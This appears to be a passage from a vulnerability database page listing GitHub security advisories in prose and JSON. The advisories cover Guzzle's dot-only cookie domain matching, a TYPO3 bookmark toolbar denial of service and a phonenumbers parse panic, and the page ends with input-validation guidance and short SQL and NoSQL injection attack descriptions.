"id": "GHSA-cwjv-w927-x7gr",
"modified": "2026-05-29T18:31:33Z",
"published": "2026-05-29T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10099"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/issues/14169"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/pull/14170"
},
{
"type": "WEB",
"url": "https://github.com/XX-net/XX-Net/commit/a68b972a84ed6e52df9f30237cf47493b9231b53"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/xx-net-websocket-frame-parsing-data-corruption-via-simple-http-server-py"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-CWXW-98QJ-8QJX
Vulnerability from github – Published: 2026-06-19 14:37 – Updated: 2026-08-05 21:49
VLAI
Summary
guzzlehttp/guzzle: Dot-Only Cookie Domains Match All Hosts
Details
Impact
CookieJar incorrectly accepts cookies with a dot-only Domain attribute, such as Domain=., Domain=.., Domain=..., and whitespace-padded variants such as Domain= .. In affected versions, SetCookie::matchesDomain() removes leading dots from the cookie domain, normalizing dot-only values to the empty string; SetCookie::validate() only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.
An attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle's cookie support, for example new Client(['cookies' => true]) or an explicit shared CookieJar, and reuse the same jar across attacker-controlled and trusted origins.
Applications that do not use Guzzle's cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.
Patches
The issue is patched in 7.12.1 and later. Starting in that release, Guzzle rejects dot-only cookie Domain attributes and prevents an empty normalized cookie domain from matching any request host.
Workarounds
If you cannot upgrade immediately, do not reuse the same CookieJar instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.
Avoid using new Client(['cookies' => true]) for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.
Severity
5.8 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "guzzlehttp/guzzle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55767"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T14:37:29Z",
"nvd_published_at": "2026-06-23T16:17:03Z",
"severity": "MODERATE"
},
"details": "### Impact\n\n`CookieJar` incorrectly accepts cookies with a dot-only `Domain` attribute, such as `Domain=.`, `Domain=..`, `Domain=...`, and whitespace-padded variants such as `Domain= . `. In affected versions, `SetCookie::matchesDomain()` removes leading dots from the cookie domain, normalizing dot-only values to the empty string; `SetCookie::validate()` only rejected a strictly empty domain, so these cookies could be stored and the empty normalized domain was treated as matching any request host.\n\nAn attacker-controlled origin that an application requests with a shared cookie jar can therefore set a cookie that Guzzle later sends to unrelated hosts using the same jar. This may allow cookie injection or session fixation against downstream services, depending on how those services interpret the injected cookie. Applications are affected when they use Guzzle\u0027s cookie support, for example `new Client([\u0027cookies\u0027 =\u003e true])` or an explicit shared `CookieJar`, and reuse the same jar across attacker-controlled and trusted origins.\n\nApplications that do not use Guzzle\u0027s cookie support, or that use separate cookie jars per origin or trust boundary, are not affected. This issue is distinct from public suffix list validation: dot-only domains contain no domain label and should not match unrelated hosts.\n\n### Patches\n\nThe issue is patched in `7.12.1` and later. Starting in that release, Guzzle rejects dot-only cookie `Domain` attributes and prevents an empty normalized cookie domain from matching any request host.\n\n### Workarounds\n\nIf you cannot upgrade immediately, do not reuse the same `CookieJar` instance across untrusted and trusted origins. Use separate cookie jars per origin or trust boundary, or disable cookie handling for requests to untrusted hosts.\n\nAvoid using `new Client([\u0027cookies\u0027 =\u003e true])` for clients that may contact unrelated hosts with different trust levels, because that option creates one shared jar for the client.",
"id": "GHSA-cwxw-98qj-8qjx",
"modified": "2026-08-05T21:49:53Z",
"published": "2026-06-19T14:37:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/security/advisories/GHSA-cwxw-98qj-8qjx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55767"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/pull/3653"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/commit/7f537cded1912349abf5081258d6db19106d774d"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/guzzlehttp/guzzle/CVE-2026-55767.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/guzzle/guzzle"
},
{
"type": "WEB",
"url": "https://github.com/guzzle/guzzle/releases/tag/7.12.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "guzzlehttp/guzzle: Dot-Only Cookie Domains Match All Hosts"
}
GHSA-FFCV-V6PW-QHRP
Vulnerability from github – Published: 2024-10-08 22:18 – Updated: 2024-10-31 19:31
VLAI
Summary
Denial of Service in TYPO3 Bookmark Toolbar
Details
Problem
Due to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.
Solution
Update to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.
Credits
Thanks to Hendrik Eichner who reported this issue and to TYPO3 core & security team members Oliver Hader and Benjamin Franzke who fixed the issue.
References
Severity
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "13.0.0"
},
{
"fixed": "13.3.1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"13.0.0"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c 12.4.20"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "12.0.0"
},
{
"fixed": "12.4.21"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 11.5.39"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.5.40"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 10.4.45"
},
"package": {
"ecosystem": "Packagist",
"name": "typo3/cms-backend"
},
"ranges": [
{
"events": [
{
"introduced": "10.0.0"
},
{
"fixed": "10.4.46"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-34537"
],
"database_specific": {
"cwe_ids": [
"CWE-1286",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-08T22:18:27Z",
"nvd_published_at": "2024-10-28T14:15:04Z",
"severity": "LOW"
},
"details": "### Problem\nDue to insufficient input validation, manipulated data saved in the bookmark toolbar of the backend user interface causes a general error state, blocking further access to the interface. Exploiting this vulnerability requires an administrator-level backend user account.\n\n### Solution\nUpdate to TYPO3 versions 10.4.46 ELTS, 11.5.40 LTS, 12.4.21 LTS, 13.3.1 that fix the problem described.\n\n### Credits\nThanks to Hendrik Eichner who reported this issue and to TYPO3 core \u0026 security team members Oliver Hader and Benjamin Franzke who fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2024-011](https://typo3.org/security/advisory/typo3-core-sa-2024-001)\n",
"id": "GHSA-ffcv-v6pw-qhrp",
"modified": "2024-10-31T19:31:10Z",
"published": "2024-10-08T22:18:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/TYPO3/typo3/security/advisories/GHSA-ffcv-v6pw-qhrp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34537"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3-CMS/backend"
},
{
"type": "WEB",
"url": "https://typo3.org/security/advisory/typo3-core-sa-2024-011"
},
{
"type": "WEB",
"url": "https://www.mgm-sp.com/cve/denial-of-service-in-typo3-bookmark-toolbar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L/E:F/RL:O/RC:C",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Denial of Service in TYPO3 Bookmark Toolbar"
}
GHSA-FMJH-F678-CV3X
Vulnerability from github – Published: 2025-09-27 06:30 – Updated: 2025-09-29 16:29
VLAI
Summary
github.com/nyaruka/phonenumbers Vulnerable to Improper Validation of Syntactic Correctness of Input
Details
Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a "runtime error: slice bounds out of range".
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nyaruka/phonenumbers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-10954"
],
"database_specific": {
"cwe_ids": [
"CWE-1286"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-29T16:29:27Z",
"nvd_published_at": "2025-09-27T05:15:29Z",
"severity": "MODERATE"
},
"details": "Versions of the package github.com/nyaruka/phonenumbers before 1.2.2 are vulnerable to Improper Validation of Syntactic Correctness of Input in the phonenumbers.Parse() function. An attacker can cause a panic by providing crafted input causing a \"runtime error: slice bounds out of range\".",
"id": "GHSA-fmjh-f678-cv3x",
"modified": "2025-09-29T16:29:27Z",
"published": "2025-09-27T06:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10954"
},
{
"type": "WEB",
"url": "https://github.com/nyaruka/phonenumbers/issues/148"
},
{
"type": "WEB",
"url": "https://github.com/nyaruka/phonenumbers/commit/0479e35488e8a002a261cdb515ef8a7f80ca37fe"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyaruka/phonenumbers"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-GOLANG-GITHUBCOMNYARUKAPHONENUMBERS-6084070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "github.com/nyaruka/phonenumbers Vulnerable to Improper Validation of Syntactic Correctness of Input"
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
CAPEC-66: SQL Injection
This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.